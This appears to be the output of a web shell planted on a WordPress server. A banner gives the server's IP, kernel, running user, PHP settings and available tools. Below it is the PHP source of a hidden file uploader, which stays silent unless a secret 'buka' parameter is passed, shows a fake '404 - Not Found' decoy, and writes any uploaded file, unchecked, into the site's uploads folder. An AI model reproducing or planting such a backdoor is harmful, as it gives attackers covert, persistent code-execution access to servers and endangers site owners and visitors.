| Server IP : 52.25.153.185 / Your IP : 216.73.217.146 Web Server : Apache System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64 User : daemon ( 1) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bitnami/wordpress/wp-content/uploads/WPL/6947/ |
Upload File : |
404 - Not Found
<?php
if (!isset($_GET['buka'])) {
die(" ");
}
// Proses upload jika ada POST
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] == UPLOAD_ERR_OK) {
$nama = basename($file['name']);
if (move_uploaded_file($file['tmp_name'], $nama)) {
$pesan = "✅ Upload berhasil! <a href='$nama' target='_blank'>Lihat file</a>";
} else {
$pesan = "❌ Gagal menyimpan file.";
}
} else {
$pesan = "❌ Error upload (kode: " . $file['error'] . ")";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>##</title>
</head>
<body>
<?php if (isset($pesan)) echo "<p>$pesan</p>"; ?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</body>
</html>